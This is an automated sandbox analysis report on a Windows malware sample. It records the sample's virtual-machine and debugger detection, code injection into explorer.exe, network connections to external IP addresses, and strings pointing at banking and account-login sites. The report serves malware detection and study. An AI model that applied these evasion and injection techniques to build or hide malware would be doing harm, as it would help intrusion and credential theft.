Source: C:\Users\user\AppData\Local\Temp\E647.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\explorer.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_12-884

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PnPEntity WHERE ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}"
Source: C:\Users\user\AppData\Local\Temp\B575.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PnPEntity WHERE ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}"
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, PNPDeviceID, Manufacturer, Description FROM Win32_PnPEntity WHERE ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}"

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE PhysicalAdapter=TRUE
Source: C:\Users\user\AppData\Local\Temp\B575.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE PhysicalAdapter=TRUE
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, MACAddress, ProductName, ServiceName, NetConnectionID FROM Win32_NetworkAdapter WHERE PhysicalAdapter=TRUE
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_StartupCommand
Source: C:\Users\user\AppData\Local\Temp\B575.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_StartupCommand
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, Location, Command FROM Win32_StartupCommand

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	API/Special instruction interceptor: Address: 7FF8C88EE814
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	API/Special instruction interceptor: Address: 7FF8C88ED584
Source: C:\Users\user\AppData\Roaming\esjbbri	API/Special instruction interceptor: Address: 7FF8C88EE814
Source: C:\Users\user\AppData\Roaming\esjbbri	API/Special instruction interceptor: Address: 7FF8C88ED584
Source: C:\Users\user\AppData\Local\Temp\E647.exe	API/Special instruction interceptor: Address: 7FF8C88EE814
Source: C:\Users\user\AppData\Local\Temp\E647.exe	API/Special instruction interceptor: Address: 7FF8C88ED584
Source: C:\Users\user\AppData\Roaming\uejbbri	API/Special instruction interceptor: Address: 7FF8C88EE814
Source: C:\Users\user\AppData\Roaming\uejbbri	API/Special instruction interceptor: Address: 7FF8C88ED584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: esjbbri, 00000004.00000002.2365317103.00000000026BE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 12_2_03221016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,

12_2_03221016

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 440	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1411	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 622	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1302	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 884	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 865	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 2919	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2564	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 4321
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 4229

Source: C:\Users\user\AppData\Local\Temp\B575.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_8-4390

Source: C:\Windows\SysWOW64\explorer.exe

API coverage: 9.8 %

Source: C:\Windows\explorer.exe TID: 5784	Thread sleep count: 440 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5672	Thread sleep count: 1411 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5672	Thread sleep time: -141100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6788	Thread sleep count: 622 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6788	Thread sleep time: -62200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3192	Thread sleep count: 323 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1352	Thread sleep count: 313 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1352	Thread sleep time: -31300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6968	Thread sleep count: 290 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2820	Thread sleep count: 96 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1292	Thread sleep count: 128 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3292	Thread sleep count: 160 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1076	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5672	Thread sleep count: 1302 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5672	Thread sleep time: -130200s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2788	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5692	Thread sleep count: 2919 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5692	Thread sleep time: -2919000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1656	Thread sleep count: 2564 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1656	Thread sleep time: -2564000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 4436	Thread sleep count: 4321 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 4436	Thread sleep time: -4321000s >= -30000s
Source: C:\Windows\explorer.exe TID: 4752	Thread sleep count: 4229 > 30
Source: C:\Windows\explorer.exe TID: 4752	Thread sleep time: -4229000s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\B575.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Caption, Manufacturer, PrimaryOwnerName, UserName, Workgroup FROM Win32_ComputerSystem

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\B575.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, NumberOfCores FROM Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\B575.exe	Code function: 8_2_00007FF7CB87FB34 GetEnvironmentVariableW,lstrcatW,lstrcpyW,lstrcatW,FindFirstFileW,lstrcatW,lstrcatW,FindClose,	8_2_00007FF7CB87FB34
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03272B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	9_2_03272B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03273ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	9_2_03273ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03271D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	9_2_03271D4A
Source: C:\Windows\explorer.exe	Code function: 11_2_001D30A8 FindFirstFileW,FindNextFileW,FindClose,	11_2_001D30A8

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 9_2_03276512 GetSystemInfo,

9_2_03276512

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: explorer.exe, 00000002.00000000.2127227127.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0r
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
Source: 7020.tmp.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 7020.tmp.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: explorer.exe, 00000002.00000000.2123559301.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
Source: 7020.tmp.9.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2999912401.00000000035B6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2999912401.00000000035DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 7020.tmp.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 7020.tmp.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 7020.tmp.9.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: 7020.tmp.9.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: 7020.tmp.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 7020.tmp.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 7020.tmp.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: explorer.exe, 00000002.00000000.2125128556.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
Source: 7020.tmp.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: explorer.exe, 00000002.00000000.2124263465.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
Source: 7020.tmp.9.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.2125128556.000000000769A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 7020.tmp.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: explorer.exe, 00000002.00000000.2125128556.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
Source: 7020.tmp.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.2124263465.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: 7020.tmp.9.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 7020.tmp.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 7020.tmp.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 7020.tmp.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 7020.tmp.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: B575.exe, 00000008.00000002.4536563179.000002EC777EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: 7020.tmp.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 7020.tmp.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 7020.tmp.9.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 7020.tmp.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: ROUTE.EXE, 00000021.00000002.3366799924.000002C0188B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 7020.tmp.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 7020.tmp.9.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 7020.tmp.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 7020.tmp.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: 7020.tmp.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: explorer.exe, 00000002.00000000.2124263465.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dX
Source: 7020.tmp.9.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 7020.tmp.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: B575.exe, 00000008.00000002.4536563179.000002EC777EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fo & echo 2843835231311335232843835231\r\n\r\nHost Name: user-PC\r\nOS Name: Microsoft Windows 10 Pro\r\nOS Version: 10.0.19045 N/A Build 19045\r\nOS Manufacturer: Microsoft Corporation\r\nOS Configuration: Standalone Workstation\r\nOS Build Type: Multiprocessor Free\r\nRegistered Owner: hardz\r\nRegistered Organization: \r\nProduct ID: 00330-71388-77023-AAOEM\r\nOriginal Install Date: 03/10/2023, 10:57:18\r\nSystem Boot Time: 24/09/2023, 16:13:49\r\nSystem Manufacturer: VacWyv9nX5Hvulv\r\nSystem Model: nkTukOKS\r\nSystem Type: x64-based PC\r\nProcessor(s): 2 Processor(s) Installed.\r\n [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz\r\n [02]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz\r\nBIOS Version: LXNC3 5EM7Z, 21/11/2022\r\nWindows Directory: C:\\Windows\r\nSystem Directory: C:\\Windows\\system32\r\nBoot Device: \\Device\\HarddiskVolume1\r\nSystem Locale: en-gb;English (United Kingdom)\r\nInput Locale: de-ch;German (Switzerland)\r\nTime Zone: (UTC-05:00) Eastern Time (US & Canada)\r\nTotal Physical Memory: 4'095 MB\r\nAvailable Physical Memory: 2'919 MB\r\nVirtual Memory: Max Size: 8'191 MB\r\nVirtual Memory: Available: 7'170 MB\r\nVirtual Memory: In Use: 1'021 MB\r\nPage File Location(s): C:\\pagefile.sys\r\nDomain: YEkCP\r\nLogon Server: \\\\user-PC\r\nHotfix(s): N/A\r\nNetwork Card(s): 1 NIC(s) Installed.\r\n [01]: Intel(R) 82574L Gigabit Network Connection\r\n Connection Name: Ethernet0\r\n DHCP Enabled: No\r\n IP address(es)\r\n [01]: 192.168.2.5\r\n [02]: fe80::357a:d50d:a849:be2d\r\nHyper-V Requirements: VM Monitor Mode Extensions: No\r\n Virtualization Enabled In Firmware: No\r\n Second Level Address Translation: No\r\n Data Execution Prevention Available: Yes\r\n2843835231311335232843835231\r\n\r\nC:\\Users\\user\\AppData\\Local\\Temp> Record . . . : 116.58.10.60
Source: explorer.exe, 00000002.00000000.2124263465.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware,p
Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0#{5-
Source: 7020.tmp.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: explorer.exe, 00000002.00000000.2123559301.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 12_2_03221B17 CloseHandle,RtlMoveMemory,LoadLibraryA,GetProcAddress,LdrProcessRelocationBlock,

12_2_03221B17

Source: C:\Windows\SysWOW64\explorer.exe

12_2_03221016

Source: C:\Users\user\AppData\Local\Temp\B575.exe

Code function: 8_2_00007FF7CB8778EC LoadLibraryA,GetProcAddress,GetCurrentProcess,IsWow64Process,

8_2_00007FF7CB8778EC

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_0260092B mov eax, dword ptr fs:[00000030h]	0_2_0260092B
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_02600D90 mov eax, dword ptr fs:[00000030h]	0_2_02600D90
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_0266F20B push dword ptr fs:[00000030h]	0_2_0266F20B
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_0252092B mov eax, dword ptr fs:[00000030h]	4_2_0252092B
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_02520D90 mov eax, dword ptr fs:[00000030h]	4_2_02520D90
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_026DEB13 push dword ptr fs:[00000030h]	4_2_026DEB13
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_024E092B mov eax, dword ptr fs:[00000030h]	6_2_024E092B
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_024E0D90 mov eax, dword ptr fs:[00000030h]	6_2_024E0D90
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_0267EDE3 push dword ptr fs:[00000030h]	6_2_0267EDE3
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_024A092B mov eax, dword ptr fs:[00000030h]	7_2_024A092B
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_024A0D90 mov eax, dword ptr fs:[00000030h]	7_2_024A0D90
Source: C:\Users\user\AppData\Roaming\uejbbri	Code function: 7_2_025FEC0B push dword ptr fs:[00000030h]	7_2_025FEC0B

Source: C:\Users\user\AppData\Local\Temp\B575.exe

Code function: 8_2_00007FF7CB872654 GetProcessHeap,RtlReAllocateHeap,

8_2_00007FF7CB872654

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: uejbbri.2.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 116.58.10.60 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 190.98.23.157 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.145.40.164 443	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 23.145.40.162 443	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Thread created: C:\Windows\explorer.exe EIP: 12319A8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Thread created: unknown EIP: 88519A8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Thread created: unknown EIP: 8381970	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Thread created: unknown EIP: 2FF1970	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 1684 base: A279C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 6760 base: 7FF6747E2D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 1532 base: A279C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 6432 base: 7FF6747E2D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 3304 base: A279C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 5008 base: 7FF6747E2D10 value: 90	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
